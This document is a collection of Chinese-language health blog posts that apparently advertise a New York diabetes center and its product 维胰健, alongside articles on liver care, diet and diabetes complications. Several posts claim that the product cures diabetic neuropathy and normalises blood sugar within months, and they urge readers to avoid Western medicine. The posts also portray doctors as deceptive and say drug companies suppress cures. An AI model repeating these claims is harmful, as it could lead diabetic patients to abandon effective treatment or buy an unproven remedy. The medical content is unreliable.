若你、你的家人或你的朋友，有出现以上十种症状的迹象，那就是危险的信号，应及早接受医师检查。

维胰健纽约糖尿病康复管理中心　

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2019-10-09 / by happy1 / in 医疗健康

太强悍了！史上最全的护肝妙方大公开！

作为人体最大的代谢器官，肝脏是人体最重要的代谢和解毒器官。人体胃肠道所吸收的各种物质，包括营养物质和毒素等，经胃肠道的血管系统后，都由肝脏的门脉进入肝脏内进行分解、合成及解毒。肝脏也是唯一没有痛感神经的器官，这也是人们经常忽略它健康状况的原因。也就是为什么肝癌一发现，就是晚期的原因。

肝脏其实是一个非常重要的脏器，它掌管着糖、脂肪、蛋白质的解毒、代谢，人体大部分的新陈代谢和有毒物质的转化，因此，它也是最易污染的部门。

在机体代谢过程中，人体吃进去的食物药物、呼吸进去的各种有毒害气体、以及无法及时排出体外的宿便，都要先通过门静脉收集，然后在肝内被解毒和清除。

二、它有两大功能

1.肝主疏泄
所谓疏泄，就是让你能够疏通、畅达。比如说人生气了，时间久了，肝气郁结，就影响脾胃的运化功能，也就是说消化功能变差，所以人生气了，就不想吃饭。

2.肝主藏血
肝脏不只管藏血，还管着全身调节气血运行，管血液分配。
比如说，人在运动的时间，肝脏就把血液分配到四肢，女性朋友生理期前，肝脏就把血液分配到血海，即冲脉，那个时候肝脏的血液少了，柔韧性格就下降了，所以女性朋友总有那么几天脾气不好。
如今，人们生活节奏快、工作压力、生活压力越来越大，加班、应酬、熬夜是家常便饭，饮食不规律、配搭失衡、缺乏运动等不良生活方式，使我们的肝脏承受巨大的负荷，造成日积月累的损伤，甚至导致常见的酒精肝、脂肪肝、肝硬化和病毒性肝炎等肝的病变。

当肝脏这个解毒器官出现问题时，人体就会出现以下一些症状：

1、无端感到疲倦、无端感到烦躁、焦虑和忧郁。
2、眼睛干涩或者死鱼眼、口干口苦、偏头痛。
3、头发经常很油。
4、出现粘便、有体臭。
5、腰部赘肉增加、脾气特别大、失眠多梦。
6、前胸后背有红痣。
7、指甲有明显竖条纹、脸庞两边有肝斑。
8、乳腺增生和妇科问题。

如果以上症状，你已经满足了一项以上，那你就必须要开始调理肝胆的功能了。

养肝护肝八大招

1.开心最重要
肝脏的特性就是主疏泄，喜条达，恶抑郁。只有当肝不受约束时，身体才能达到一种轻松、疏泄的状态，犹如一棵枝叶舒展的树。
人只要一生气，肝就会堵，严重的还会“气的肝疼”，就是两侧肋部胀痛，堵的厉害的还会影响双侧乳腺和颈部的甲状腺，造成这两个部位的肿块。女性朋友更会造成月经不调和睡眠障碍。所以，要养肝，开心、舒心、不堵心是最最重要的。
建议：1、多多参加娱乐活动；2、多多去自然风光好的地方放松心情；3、多多和朋友聊天纾解心事。

2.远离烟酒

吸烟会影响肝脏的脂质代谢，有调查显示：肝癌病死者中，吸烟者死亡率是不吸烟者的1.6～1.7倍。可见，与其他癌症一样，吸烟对肝癌的发生也有某种恶劣影响。
众所周知，饮酒伤肝，现在还没有任何药物或食物能防止酒精对肝脏的损害，特别是空腹饮酒时，酒精很快被吸收入血，不仅会对肝脏造成损害，对全身亦有不良影响。
特别是慢肝病人，饮酒无异于在饮毒药，饮酒后约90%～95%在肝内代谢，无论快速或慢速、大量或少量摄入酒精都会增加肝脏的耗氧能力，出现缺氧性坏死。
建议：所以有肝脏疾病者，最好的选择就是不吸烟、不饮酒。即使是逼不得已必须应酬，也应该做好充分的保肝准备，进食大量的维生素来提高肝脏的应激能力。而且喝酒时速度要慢，最好用小杯。研究发现，即使限制饮酒次数，如果大口喝，用大杯子喝，对身体损伤同样很大。

3.早点睡觉

如今，夜生活越来越丰富，尤其在大城市，到了凌晨一二点各种娱乐场所依旧热闹非凡。即使不出去玩，很多人在家上网、打牌、玩手机也会玩到忘记睡觉时间。睡眠不足，已经成了严重危害人体健康的“凶手”。但每晚子时（23:00-1:00）开始，就是肝胆自我修复的时间段，此时能进入深度睡眠，是非常养人的。

一旦此时不睡，肝脏就会逐渐失去动力，解毒功能也会直线下降，各种毒素排不干净就会直接反应到脸上，痘痘和各种斑就会纷至沓来，尤其是太阳穴和脸颊两边，是肝经和它的搭档胆经的“一亩三分地”，一旦肝的排毒不畅快，自己的后院就会先着火。

建议：晚饭早点吃，吃完适当运动一会，泡会儿脚，每天争取10点以前上床，10点半睡着，养成这个好习惯，能帮助你起码增寿10年！

4.多多闭目

用眼过度是现代人肝气虚弱的又一重大原因。肝脏贮藏着丰富的血液，其主要作用是保持眼睛的明亮。长期看电视、电脑、手机、玩游戏很容易用眼过度，从而导致肝血不足。而最方便的养肝法其实就是闭目养神，眼神放光，肝气自足。
建议：经常闭目养神是很好的养肝方法，尤其是晚上睡觉前，即使睡不着也尽量闭着眼睛养养神。平时工作忙的时候也一定要抽空看看远方和绿色的植物，绿色的光波对眼睛的损伤最小，多看花草树木养眼养肝。

5.护肝食补

1、绿豆含丰富胰蛋白酶抑制剂，可以保护肝脏。有实验发现，绿豆对吗啡+亚硝酸钠诱发的肺癌与肝癌有一定的预防作用。
另外，绿豆可清凉解毒，利尿明目，治疗中毒中暑，保肝护肾，降血脂胆固醇，抗肿瘤抗菌。吃绿豆时要用液体的形式，如绿豆汤，绿豆糕的效果会差一些。

2、百合可除肝肺热毒，养阴润肺，清心安神，镇静抗癌，滋补精血，对病后虚弱、失眠多梦的人非常有益。鲜百合富含黏液质及维生素，对皮肤细胞新陈代谢有益，春夏女人常食百合，泻肝火且有一定美容作用。

建议：春夏期间，常用有清热解毒、保肝明目功效的绿豆，和护肝滋阴补肾的山药、除肝火美容养颜的百合一起煮粥，山药绿豆百合粥能通过利尿、清热的办法，来化解并排出肝脏及体内累积的多种毒素，可起到保肝护肝的功效。

6.远离油腻宵夜

适当地摄入含脂肪的食物可以供给我们人体以能量，维持人体的正常生理功能。但是，吃太多脂肪会使肝胆负荷过重，久而久之，会让脂肪堆积在肝细胞内代谢不出去，造成脂肪肝。

千万不要小看脂肪肝，一旦形成脂肪肝，肝脏的功能就会直线下降，后面会衍生出胆囊的各种疾病以及全身代谢障碍，实在是百病之始。

除了吃得太油腻之外，城市里吃宵夜的习惯也非常普遍，从还算健康一点的喝甜汤，到完全不健康的吃烧烤、火锅、小龙虾，似乎已经成了现代生活的一大特点。

其实，吃宵夜是典型的爽快了嘴巴却伤害了身体的行为，一顿宵夜可能需要一个星期的健康作息才能调整回来，非常得不偿失。

建议：一日三餐中，晚餐是最不重要的，所以道家和佛家都提倡过午不食，晚上少吃可以让五脏尤其是肝脏得到很好的休息，还能够确保睡眠安定，实在是养肝良方。

7.少吃药物

从感冒药到减肥药，从西药到中药，人类总是生活在药物的包围中。而我们的肝脏，正是饱受药物煎熬的排头兵。
药物总是先伤肝、后伤肾，任何进入体内的物质，都要经过我们肝脏的检阅，看看有毒没毒，有害没害。肝脏这个过滤器，实在是责任重大。

建议：不吃药是很难的，但只要谨记吃药四原则，就能让我们的肝脏损伤最小化：
1、能不吃药就不吃药；
2、能吃中药解决的就不要吃西药；
3、能用营养素解决的就不要用药物；
4、能用天然食物解决的就不要用药物和营养素。

8.每天运动

每天运动10分钟，能保证肝脏在最好状态下工作。当然，运动有益全身各个器官，受益的绝不仅仅是肝脏，心脏、肺、消化系统、泌尿系统都是每天运动的受益者。

建议：每天快走30分钟，或者慢跑15分钟，是非常好的锻炼方式，尤其是对于脂肪肝患者来说，更是最快痊愈的不二选择。当然，骑车、游泳、瑜伽、太极这样的有氧运动同样对肝脏大有裨益。

2019-10-09 / by happy1 / in 医疗健康

糖尿病神经病变是怎么回事？

糖尿病神经病变作为糖尿病最常见的慢性并发症之一，也是最常见的一种。神经病变是血糖代谢紊乱及血管长期含糖过高导致的微血管损伤而引起的周围神经的损害，大约10~18%的糖尿病患者在患病之初就伴有神经损害，随着患病时间的延长，60%以上的糖尿病患者都会患上神经病变这种并发症。

神经病变有什么表现？

神经病变的一般表现为，手脚缓慢的出现感觉障碍，还有麻木或者刺痛的症状，随着患病时间的延长，这种麻木的范围会像四肢扩展，像是麻木和刺痛的感觉在夜间也会变得尤为明显，严重影响病人的生活质量。

总的来说病情表现是这样，也会有一部分病患只是足底麻木的厉害，对地面的感知能力差，走路时把握不好平衡，就容易摔倒。有一部分的病人会出现肢体无力、面瘫和眼球运动障碍等运动神经受损。还会有一部分患者出现肠胃功能紊乱，经常会恶心、呕吐、腹泻、腹痛等情况发生，甚至有的是调节心血管的神经受到损害，出现头晕、心悸、晕厥甚至是猝死！

可怕的不是糖尿病，是神经病变和微血管病变造成的各种糖尿病并发症。

“糖尿病足”不知道大家了解吗，是一种严重的糖尿病并发症。是有糖尿病神经病变和周围血管病变共同作用的结果，感觉神经病变使得足部的痛觉和温度觉减弱，对外界的创伤和刺激感知都不敏感，皮肤出现溃破，进而出现感染的疾病。

而且自主神经受到损伤，导致汗液分泌量减少，就会使得皮肤变干，甚至出现皴裂的状况。如果运动神经病变的话，会引起足部的变形，导致软组织挤压，周围的血管病变引发局部血流受阻，进而影响创伤部位的愈合。糖尿病足不仅会使得皮肤溃疡、感染，甚至会引发骨髓炎，严重的就要截肢！

糖尿病周围神经病变的诊断和评估需要有医生进行诊断，用专业的设备，对病友的针刺觉、震动觉、温度觉、压力觉等等感觉是否减弱以及减弱的程度进行判断。甚至对于有些病人还要做心电图、血液与脑脊液检查。

如何控制糖尿病神经病变？

最核心的方法是全面改善身体代谢机能，恢复自身正常代谢，从而调节和控制血糖，最大程度的减少周围神经病变的发生和发展。针对一部分疼痛强烈的患者，可以给与止痛治疗。

产自美国的维胰健可以从根本上解决糖尿病患者的神经病变，壹至四个月左右解除您的终生疾病带来的痛苦，恢复您的身体的正常代谢以及正常血糖值，告别长期使用化学降糖药物而仍然血糖不能完全正常而引起的各种并发症。

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2019-10-09 / by happy1 / in 医疗健康

健康指南：糖尿病并发症的预防

糖尿病的可怕在于可以引发许多可怕的并发症，因为糖尿病本身难以治疗，更加严重的是，其并发症往往是不可控的。糖尿病的并发症是糖尿病患者致死的主要原因，了解糖尿病并发症来临前身体可能出现的表现，或许能帮助你更好的保健、调节身体，所以采取必要的预防措施是非常重要的。

糖尿病并发症来临前，身体可能有五个表现，发现一个，也要多重视。

1. 身体可能面临出汗异常

对于得了糖尿病的人来说，身体如果面临出汗异常的情况，需要引起重视，出汗异常，往往是糖尿病患者身体的自主神经功能受到损伤导致的，随即，将会导致自主神经功能趋于紊乱，进一步的影响到生意汗腺的分泌，导致汗腺分泌异常。而这样的表现，也是糖尿病并发症的一种表现，需要你多重视。

2. 视力可能越来越模糊

对于得了糖尿病的人来说，视力模糊是人们不得不重视的情况，视力模糊主要是因为身体血液中的糖分过高导致的，血糖浓度升高，将会进一步的侵蚀、损伤你的眼睛血管，导致你的视觉神经越来越糟糕，随即会导致视力模糊的感觉更加强烈，不少人的视力越来越弱，都是比较危险的事情。

3. 口干的感觉越来越明显

在生活中，对于得了糖尿病的人来说，还需要面临口干的情况，口干是需要大家多重视的事情，出现了口干，可能是血糖不断升高，导致血液粘稠度升高，导致你的口腔越来越干燥，无疑需要引起你的重视。

4. 容易有手麻、脚麻的感觉

对于得了糖尿病的人来说，可能会面临手麻、脚麻的情况，这样的手麻脚麻还会带来刺痛感，导致你的手部、脚部刺痛感加重，手部脚部的神经组织出现异常，都是比较糟糕的事情。

5. 伴随着头痛、呕吐等出现

对于得了糖尿病的人来说，还可能会面临脑部出现异常的情况，伴随着头痛、呕吐等情况的出现，将是比较糟糕的事情，而这样的表现，其实属于脑部出现的一种病症，而就临床数据显示，糖尿病患者的脑死亡率还是比较高的。

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2019-10-08 / by happy1 / in 医疗健康, 口腔科/眼科/耳科

丹尼尔的糖尿病奇迹：不需要你花一分钱！

但是“丹尼尔的糖尿病奇迹”，这个源于2500年前《圣经》中的方法，却实实在在的逆转了许多人的糖尿病。

来自加拿大多伦多的Mary H在不到一年的时间里，通过这种圣经启发的治疗彻底改变了她的健康状况。经过不断的饮食失败和糖尿病并发症后，她转向“丹尼尔的糖尿病奇迹”，她的医生帮她减掉超过65磅，从她的腰部减去6英寸，完全摆脱掉她的2型糖尿病药物！

来自圣地亚哥的Ryan W. 多年来他壹直被糖尿病蹂躏。他的并发症包括足部溃疡，视力损伤甚至神经问题。无奈之下，他转向“丹尼尔的糖尿病奇迹”并与他的医生合作，结果简直就是奇迹…… 在不到壹年的时间里，瑞恩彻底改变了自己的生活……减掉了74磅，现在完全不用药了！

这方法听起来仿佛就是个神话，不了解的人可能还会以为我们是个骗子。但是，科学记者Brad Lemley以及他们的团队秉承着客观怀疑的态度，经过6个月以来的研究，数据对比，确确实实的看到这个古老的糖尿病治疗方法如此之强大，它使大型制药公司或医疗机构创造的任何东西相形见绌。

它显示糖尿病治疗的未来不是依靠药物或者手术，这是一种天然的疗法，不需要昂贵的药物，痛苦的注射甚至不需要补充剂。

不管是治疗任何疾病，保持一个良好的身体状态都是第一位，我们会帮助妳燃烧脂肪，降低体重，并且保持妳的肌肉量，让你感受到有足够的力量！

当你过多的摄入糖分和碳水，身体就会分泌更多的胰岛素，长期以往，消耗不掉的糖分就会转化成脂肪，妳变得越耐胰岛素，我的身体就越恐慌并产生更多的胰岛素。

随着时间的推移，它产生更多胰岛素的螺旋式下降，更多的胰岛素抵抗，更多的脂肪，并最终导致灾难性的情况，如：足部溃疡、肆虐真菌感染失明、心脏病增加癌症风险截肢但这就是实情！

丹尼尔的糖尿病奇迹，它是一种彻底改变妳的生理的一种方法，通过间歇性低热量摄取，大量燃烧妳体内的多余脂肪，让妳细胞内的糖分开始消耗，它是一种把糖尿病从妳体内剥离的方法，当妳可以燃烧多余的糖并切断妳的胰岛素时，惊人的事情开始发生…… 血糖稳定，细胞自愈，循环改善，体脂下降，壹切惊喜的变化都来了。

但是你肯定会想，既然这个方法这么神奇，为什么没有被政府大肆报道和宣传呢？！这就是资本的运作，试想一下，如果美国人每年在治疗上花费超过2450亿美元……毫无疑问，大型制药公司和医疗行业并不会愿意宣传这一奇迹。就像数百年前，大家都认为脂肪才是让人发胖的罪魁祸首，这就是资本想让我们看的东西，他们掩盖糖才是让人发胖的根源，因为壹旦揭示这个结果，许多工厂都会失去壹大笔利润甚至倒闭。丹尼尔的糖尿病治疗，不需要你花一分钱，不需要处方，他唯一需要的就是自律！你得主动去改变你的饮食模式，一段时间后，你会发现不仅体重减轻了，而且降低了血压和胆固醇，消除了酸反流，不再使用处方药。

健康饮食

在2019年美国糖尿病协会大会上，科学家展示了间歇性断食对糖尿病逆转的重要成果。

· 体重下降更多；

· 脂肪代谢更好；

· 血糖水平更低或者胰岛素水平更低；

· 血脂和血压数据更好；

· 细胞叠代速度更慢；

· 炎症水平更低，氧化应激降低；

· 衰老减缓且寿命延长。
更令人振奋的结果是来自英国的研究

这些持续多年的研究显示，采取积极的饮食控制减轻体重就可以让糖尿病得到逆转。这个研究中，12个糖尿病10年以上的患者，6个月以后，逆转了糖尿病。
轻断食不仅减轻慢性炎症，而且不影响人体免疫力。

由于慢性炎症导致糖尿病已经成为学界共识，近期，来自西奈山伊坎医学院的研究团队发现，短期断食不仅可降低人体单核细胞的代谢和炎症活性，还能大幅减少血液和组织中炎症相关单核细胞的数量。

糖尿病检测

而且研究人员还在小鼠体内证实，间歇性断食可改善自身免疫性炎症疾病。更重要的是，这种短期断食对单核细胞打压，并不会影响它们在急性感染和组织修复中发挥作用。也就是说轻断食虽然吃的少了，但不会影响人的免疫力。

这与与我个人的经历相似，我个人采取每周2天断食后身体的状态自我感觉也更好、睡眠质量也明显改善。鉴于慢性炎症和癌症、心血管疾病、糖尿病、肥胖和肝病等密不可分的关系，这项研究的意义显得格外重大。

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2019-10-08 / by happy1 / in 医疗健康, 医疗药品, 肠胃科/儿科/家庭医生

不运动也能瘦，限糖饮食十大原则

减肥也有诸多学问，减肥有道，能让你更加健康，减肥不得当，能让你健康严重受损，得不偿失。现在让瘦身达人，传授你至今还摸索不到的科学减肥窍门，这就是即将广而流传的限糖饮食十大原则：

一、鱼贝、肉、豆腐、纳豆、起司等，主成分为蛋白质及脂质的食品要确实摄取。

二、尽量避免摄取糖类，尤其是白色的面包、白米、面食以及零食、白砂糖等精制的糖类。

三、主食最好是未精制的谷物，像是糙米、全麦面粉等。

四、少喝牛奶、果汁等饮料，最好喝无添加物的豆浆、水、日本煎茶、麦茶、烘焙茶等。

五、糖类含量少的蔬菜、海藻、菇类等可适量摄取，水果少量就好。

六、要积极摄取橄榄油以及鱼油（EPA、DHA），并减少摄取亚麻油酸。

七、可以吃美乃滋及奶油，但要是无糖的美乃滋。

八、可以喝蒸馏酒（日本烧酒、威士忌、白兰地等）。但是酿造酒（啤酒、日本清酒等）少喝。

九、零食以及下酒菜要以起司、坚果类为主，适量就好，不可以吃糕饼以及水果干。

十、尽量选择不含化学合成添加物的食品。

「限糖饮食」的三大好处：

一、不运动也能瘦：减重前四周不做运动，此时运动容易饥饿，也会吃更多。把吃对食物的功课做好，观察自己身心的变化，减轻一些体重再开始运动，会爱上运动，减重才能持续。

二、可以喝酒的减重法：限糖饮食选择不含糖的蒸馏酒（如：威士忌、白兰地），少喝或不喝发酵酒（如：啤酒、日本清酒），这样的饮酒区分也适合三高和尿酸高的患者参考。

三、不需要忍耐，所以可以持久：复胖率高，大多是采用忍耐少吃，或者低卡路里的饮食计划，终究无法忍耐多时而慢慢吃回来，体重当然也会加倍奉还。减重要吃好的、有饱足感的食物，应该包含好糖、好油、好蛋白质。好糖食物如果能依照江部医师三种限糖饮食进行，确实能享受吃好吃饱又能减少体重的幸福。

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2019-10-08 / by happy1 / in 医疗健康

留学生在美国买车问题一次看全

2019-10-08 / by happy1 / in 二手车, 律师/移民/金融, 汽车/房产/保险, 移民生活, 美国新闻

纽约微整形抗老哪家好？

2019-10-08 / by happy1 / in 其它

糖尿病的饮食禁区你一定要知道!

糖尿病的饮食禁区你一定要知道!合理的饮食，能起到抑制病情发展的作用。一般的糖尿病患者都知道，糖尿病人的饮食禁忌中，不能吃糖，包括甜食、饼干、甜品等。除此之外，糖尿病人还有其他饮食禁区：

1、糖尿病人不能多吃面食，比如馒头。如果要吃馒头的话，最好自己在家发面，在面粉中加入一点粗粮、杂粮。
2、糖尿病人不能多吃香蕉、桂圆、柿子等含糖量比较高的水果，可以吃些低糖类的水果蔬菜，如猕猴桃、芹菜、黄瓜等。
3、糖尿病人不能吃蜜饯，如蜜枣、葡萄干、柿饼等。
4、糖尿病人不能喝糖分高的果汁，需要注意的是，吃水果也要把握时间，一般在饭后或者两餐之间吃比较合适。
5、糖尿病人不能吃罐头，因为罐头在加工的过程中会添加增添的物质以及糖精。

糖尿病人在日常饮食中要把握低糖高纤维的原则：

1、糖尿病人在日常饮食中要多摄入低糖高纤维的食物，如玉米、青菜、青椒、韭菜、豆制品、西葫芦、茄子等。
2、糖尿病人要多吃含钙的食物，如排骨、牛奶、虾皮、海带等。如果在日常饮食中的钙摄入不足，会加重糖尿病患者的病情。
3、糖尿病患者要多吃含硒的食物，硒有一定的同胰岛素类似的糖代谢能力，能改善病情。这类饮食有香菇、芥菜、芝麻等。
4、糖尿病患者要多吃富含维生素B和C的食物，这两种维生素能缓解糖尿病的进程，减少其他并发症的发生。富含维生素的蔬菜有豆类、青椒、鲜枣、鱼等。
5、要多吃具有降糖作用的食物，如洋葱、南瓜、黄鳝等。
6、加强锻炼，如每日静走20分钟。

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2019-10-07 / by happy1 / in 医疗健康

生活妙招：专家教你收纳妙招！

2019-10-07 / by happy1 / in 其它

餐桌礼仪拾趣：各国的规矩和禁忌

2019-10-07 / by happy1 / in 其它

糖尿病治疗，和你想得不一样！

对于糖尿病你真的了解吗？糖尿病是如何产生的？有什么治疗手段吗？这篇文章从一个全新的角度告诉你，大部分的2型糖尿病患者，完全是有机会真正走出糖尿病阴影的！

对糖尿病的认知

第一，几乎所有人都认为直接糖尿病是胰岛出了问题，黑锅都让胰岛不分泌足够的胰岛素来背了。

理由是，因为人体内的血糖是通过胰岛的调节才发挥作用，而胰岛素分泌太少或者质量不佳，就不能很好的行使它的工作，造成血糖偏高，就得了糖尿病。

医生也会安排我去使用一些药物，来刺激你的胰岛分泌胰岛素，让血液里的血糖更多的进入细胞里。但是胰岛素毕竟是一个人体器官，经常性的药物刺激会慢慢让它功能消失殆尽，胰岛素的质量会越来越低。

就好比“入芝兰之室,久而不闻其香”的道理一样，你刚走入一个很香的地方的时候，你的嗅觉会很灵敏，但是当我长久待在那个地方，你的嗅觉会逐渐失灵，甚至闻不到那里的香味。胰岛也是一样。

当医生建议你直接打胰岛素来代替自身分泌时，意味着这个时候你的胰岛机能就几经摧毁了！

胰岛素注射

也有一些专家认为，让糖尿病患者在早起就注射胰岛素，这样一个循序渐进的过程，可以让胰岛得到充分的休息，但是又发现，打胰岛素的量很难控制，容易造成低血糖，又陷入另一个危险的境地。

另一方面也不能控制到底让胰岛休息多长时间合适，时间长了也一样会使它失去功能，所以这种方法也没有得到普及。

人体好比一颗大树，胰岛是其中一个分支，如果妳强行去折断这个分支或者给它过多的修饰，都会对“大树”造成很大的负担，而且专攻胰岛，忽视其他分支和整体，稍有不注意就会出现大问题，所以这种方式也不值得被推广。

还有一种方法是服用药物，它会直接影响妳吃下去的食物，让妳产生、吸收的糖分直接减少，如果体虚的患者，会直接出现营养不良、抵抗力、免疫力下降的情况，对身体的损害不言而喻。

降糖药服用

另外，糖分为人体供给能量，如果突然间被减少了也会对人体造成巨大影响，所以这个方法也不被看好。后来在药物治疗过程中人们发现，在服用药物下，血糖依旧控制不好，并发症该来的还是会到来，这就是医生会告诉你真正可怕的不是糖尿病而是并发症的原因，因为你根本无法控制它的到来。

可怕的是，我们的医疗工作者们在治疗方法上大多还停留在以上这几个层面！

现在的医疗工作者大致分为两种，一种就是妳在医院里经常见到的医生或护士，他们是现有技术和药品的使用者，所以他们的认识也只停留在这个层面上，他们没有自己独创的治疗方法，他们甚至会直接让妳要先树立你种糖尿病绝对不能治愈的思想，然后再调理，还会告诉你所有说能治好病的人都是骗子，但他们又从不会说他们会对你的病没有办法，而他们自己又完全知道自己是无能为力的，种种的矛盾造就了我们现在已知的医疗群体，也使社会对他们的信心和信任在大幅下降，所以有时候我们壹定要慎重挑选医生。

另一种就是同时在做科研工作的医学专家，研究各种疾病的新的治疗方法，但在国内由于很多信息和设备都不足，加之大多数人都从“药治”的角度寻求解决方案，所以在慢性病领域已经很久没有什么突破性的东西了，而他们很多人处于闭关自守的状态，特别是中西医之间难以融合，使很多国外已成型的概念或发现很难利用。

第一种基本是授命于第二种，而我们受的教育都是要绝对听从医生的，结果可想而之，所有的人都说治不好，又都不知道为什么！

胰岛素抵抗

在回到糖尿病上，后来很多人又发现了一个不能解释的现象，就是很多糖尿病患者的胰岛居然是正常的！这就和原本的认知出了冲突，那么到底是什么影响了糖尿病？

大约几年前，有人从国外带来了最新的概念，而这种概念在国外已有多年的历史并且有了相应的产品。

“胰岛素抵抗”的说法开始得到人们重视。

原来在我们血液的细胞当中有一种蛋白质，而胰岛素只有和它相结合才能起到控制血糖的作用，我们把这种蛋白称作受体。

把胰岛素比喻成一个痴情的男儿，那么这个受体就是女神，只有当女神接受了他，他们才能过上幸福和谐的生活。

如果这个受体不接受胰岛素的话，你就是分泌再多也是没有用处，来自体外的胰岛素壹样没有作用，我们把这种不接受的现象称作“胰岛素抵抗”。

胰岛素抵抗

所以当我们认为得了糖尿病都是胰岛素的问题的时候，胰岛素也感觉很冤枉啊！它为了保护我们的身体，不断地分泌胰岛素以为可以得到吧、蛋白质“女神”的芳心，但结局只有自己累到“气绝身亡”，还要饱受外来药物的“鞭挞”摧残。

后来国外针对此现象开发出胰岛素增敏剂，增强受体的亲和力，以使它更好地和胰岛素相结合，解决问题了部分问题。

但受体的数目是相对恒定的，由于它周围环境的恶化，使它“生了锈”，还有一些发生萎缩、不健全等现象使它不与胰岛素结合，而现有的增敏剂只能解决20%的问题，在胰岛素的协助下起到了目前为止已知范围内最有效的作用。

所以说这种方法对于并发症只有延缓的作用，至于如何起到100%的作用还没有发现，而且因为糖尿病往往不能早期发现，在妳发现时，并发症的种子也已经种了下去。

这样即使你能恢复所有的受体也只是达到一个降血糖的作用，而我们真正需要解决的是阻止并发症的出现。

所以理论上来说，全球范围内单纯用药物还不能治好糖尿病。这种认知几乎存在于所有的慢性病领域内。

解决问题不了根本问题

这两个层面是糖尿病领域内的现状，现在我们说壹下为什么此方面的研究如此困难和缓慢。

现在的医疗研究者的研究角度都是直接针对病患，希望研究出能通过什么技术或产品来直接消除它。

比如对于消除“胰岛素抵抗”就是这样，而对引起它的诱因不屑一顾。

所谓“百因必有果”，出现了坏的后果，壹定要从根本原因上寻找问题。

“胰岛素抵抗”的出现完全是因为人体内环境不同程度的污染。你想一想，咱们的胰岛素是追求受体女神的痴汉，如果妳的体内有太多身体不需要的杂质，就好像给胰岛素增加了许许多多的情敌，环绕在受体的周围，那受体接受胰岛素的概率就大大降低了。

我们提出的解决方案有很简单：一是清洁受体所处的环境，二是恢复那些不正常的受体的功能，三是促生新受体来替换已经不可恢复的。

这样解决的结果让我们消除“胰岛素抵抗”的效率达到了80%，而剩下的20%，我们发现它们已经不足以引起并发症，所以我们才有了成功治疗的记录。当然，我们也还有一些问题解决不了，比如1型糖尿病，比如发现太晚，肾功能出现问题等等。

最后我们只想告诉大家，希望大家明白即使不能接受我们的理念，也要对整个治疗糖尿病的技术和产品有一个充分的了解。

糖尿病不能治疗的说法是片面的，是受很多限制的，包括我们面对强大的反对论调而难以推广，医生在患者的脑海里种下了根深蒂固的不可能思想，这些困难都在无限蔓延。

我们并不是怪医生，因为在他们所知的领域内也只能那样说，但我们不希望患者因此放弃努力，更不希望被虚假的广告吓的因噎废食。

医学在不断进步中，但从开发到推广的路更加艰难，任何新生事物都要经过重重阻力才会得到广泛的认可，希望大家不要放弃对糖尿病治疗的信念！

维胰健纽约糖尿病康复管理中心　

WYJ Diabetes Reversal Center NY

地址：136-20 38th Ave Suite 5A, Flushing, NY 11354

电话：(888) 585-1158

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维胰健：改变糖尿病人终身依赖化学降糖药的生活方式

導讀：隨著人們生活條件的好轉和物質的極大豐富，糖尿病的發病率越來越高。人壹到中年，糖尿病、高血壓、腫瘤成為健康的三大威脅。

2018年3月30日，美國國家疾控中心CDC在其主辦的期刊《發病率和死亡率周報》(Morbidity and Mortality Weekly Report)上發表了美國

成年人患糖尿病的最新數據，迄今尚有2300多萬美國人正在與這壹血糖疾病進行著鬥爭。

糖尿病本身並不可怕，可怕的是其帶來的諸多並發癥，糖尿病患者血液中過高濃度的糖對血管會造成損害，更容易誘發動脈粥樣硬化，

所以常會引起全身各器官的並發癥，損傷心臟的血管會引發冠心病；損傷腎臟血管會引起糖尿病腎病；此外還有糖尿病視網膜病變、

周圍神經病變等，嚴重者還會因細胞長期得不到足夠的糖分和血糖過高導致足部潰瘍、感染等，即糖尿病足，糖尿病足患者最後出現

壞疽而不得不截肢的也不在少數。

作為壹個健康的人很難理解糖尿病患者的痛苦為此，我們也采訪了很多糖尿病患者讓我們聽聽他們的聲音

【我是如何壹步步走向失明的】

我叫張XX，現年62歲，農村人。10年前因身體不舒服，在醫院做檢查的時候，被查出患有糖尿病了。醫生叮囑我講，妳的血糖值偏高，要按時用藥，飲食壹定要註意，少吃多餐。特別是要戒煙，酒最好也不喝，定期到醫院復查等等。但是剛開始患上糖尿病並沒有什麽感覺，再說，也沒有那麽多閑錢。後來只是把醫院開的藥吃完以後，也就沒有去再意這件事了。

壹直這樣，差不多持續了兩三年吧，身體也不痛不癢的。兒子有時候會勸我說糖尿病挺可怕的，讓我多註意身體。我說也就那樣，

我還不是該吃吃，該喝喝，身體不壹樣挺好的，沒什麽大礙。

可是，到了差不多第4年的時候，眼睛看東西有點模糊了，看星星的時候有點重影。心想，估計真是上年紀了，老花眼都來了。

哪知道這居然是糖尿病引起的，壓根就沒想過糖尿病居然會導致眼睛失明。到了後來眼睛越來越看不清了，沒辦法，只能去醫院了，醫生看了後說已經太晚了。

視網膜病變是不可逆的，我真的非常的後悔沒有早點註意起來，如果能夠聽醫生的，註意飲食，保持壹個好的生活習慣，定期檢查，結果壹定會不壹樣。

—————————————————————————————————————————————

看了張老漢的故事，不禁令人感到惋惜在這個世界上的各個角落或許每天都在上演著壹樣的悲劇

如果他們能多懂壹些糖尿病知識

註意飲食，堅持運動，配合治療

那小編相信壹定會有更多人擺脫糖尿病病魔

所以為了讓更多的人了解到糖尿病的危害幫助更多的糖友走出糖尿病我們在紐約和中國香港

分別成立了糖尿病患者治療中心

紐約治療中心地址

美國紐約法拉盛飛囖皇後大樓5樓A室電話：718-866-2269

香港治療中心地址

首先，我們先來了解壹下自己的身體，看看自己是否有患糖尿病的風險。

●妳近日是感覺嗓子發幹、飲水多卻口幹、小便增多嗎？

●妳身體本來肥胖，餐後3～4小時即感到饑餓、心慌、手抖、乏力嗎？

●妳的皮膚癤腫層出不窮，化膿性感染久治不愈，局部藥物治療效果不佳嗎？

●妳有全身性皮膚發癢嗎？尤其是女性，有陰部瘙癢難忍嗎？

●妳原患的肺結核突然惡化，用藥效果不明顯嗎？

●妳的肩部、手足麻木嗎？有下肢脈管炎、足部潰瘍感染和組織壞死嗎？

●妳年紀輕輕就有白內障，視力迅速減退嗎？

●妳尿中有蛋白，身體浮腫，甚至出現尿毒癥了嗎？

●妳的父母或兄弟姐妹中有糖尿病患者嗎？

●妳常有空腹饑餓感嗎？

●妳什麽也沒幹，身體也覺得疲倦嗎？

以上各問中，凡回答“是”者，說明有患糖尿病的可能；“是”越多，糖尿病癥狀越明顯，應到醫院做進壹步診斷。

如果確診了糖尿病，也不要過於驚慌

我們將會從以下幾個方面給予患者幫助

●飲食習慣

●運動習慣

●藥物治療

【低碳水飲食法】

